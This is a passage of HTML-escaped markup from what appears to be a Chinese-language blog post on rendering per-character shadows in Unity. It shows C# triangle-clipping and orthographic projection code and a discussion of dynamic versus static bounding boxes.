class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev01\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ercp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ev01\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev02\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ercp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ev02\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 只有 P2 在外面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev20\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev21\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev20\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ercp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ev20\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev21\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ercp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ev21\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 第一个三角形\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 把下一个三角形拷贝到列表最后新的位置上,然后把新三角形数据写入到下个位置\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 新的三角形必定三个点都在边界内,所以 ++triangleIndex 跳过检查\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003etriangleIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 第二个三角形\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enewTri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eIsPointInsideEdge\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// EdgeType.Min =\u0026gt; p[edge.ComponentIndex] \u0026gt; edge.Value\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// EdgeType.Max =\u0026gt; p[edge.ComponentIndex] \u0026lt; edge.Value\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edelta\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eselect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003edelta\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edelta\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMin\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eSwap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch3 id=\"计算-Projection-Matrix\"\u003e计算 Projection Matrix\u003ca class=\"headerlink\" href=\"#计算-Projection-Matrix\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e阴影包围盒在 XY 方向上是中心对称的,因为光源 View Space 是以包围盒中心为原点的(参考前面 View Matrix 的计算)。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezNear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezFar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOrtho\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezNear\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezFar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"动态计算包围盒-vs-静态包围盒\"\u003e动态计算包围盒 vs 静态包围盒\u003ca class=\"headerlink\" href=\"#动态计算包围盒-vs-静态包围盒\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e在我的实现中,角色包围盒是根据 \u003ccode\u003eRenderer.bounds\u003c/code\u003e 动态计算的。有人说,动态计算会使包围盒一直变化,导致投影矩阵一直变化,进而出现阴影抖动,所以直接在 Inspector 里指定一个固定大小的包围盒更好。\u003c/p\u003e\n\u003cp\u003e我这样写的初衷是减少插件暴露出去的参数数量,降低使用门槛。不然,总有人不看文档,乱填参数,然后来私信问我。固定大小的包围盒要是设置的不够大,会导致阴影不完整。\u003c/p\u003e\n\u003cp\u003e另外,动态计算的包围盒不会一直变化,只有 \u003ccode\u003eRenderer.bounds\u003c/code\u003e 变了,计算结果才会变(可以看上面的动图)。\u003ccode\u003eRenderer.bounds\u003c/code\u003e 通常只在播放 \u003ccode\u003eAnimationClip\u003c/code\u003e 时才会变化,角色在做各种动作时,阴影肯定会有一点抖动,包围盒的轻微变化带来的影响,肉眼看不出来。\u003c/p\u003e\n\u003cp\u003e不过,能用静态包围盒还是用静态的,毕竟计算量少,代码也好写。\u003c/p\u003e\n\u003ch2 id=\"完整代码\"\u003e完整代码\u003ca class=\"headerlink\" href=\"#完整代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003ca 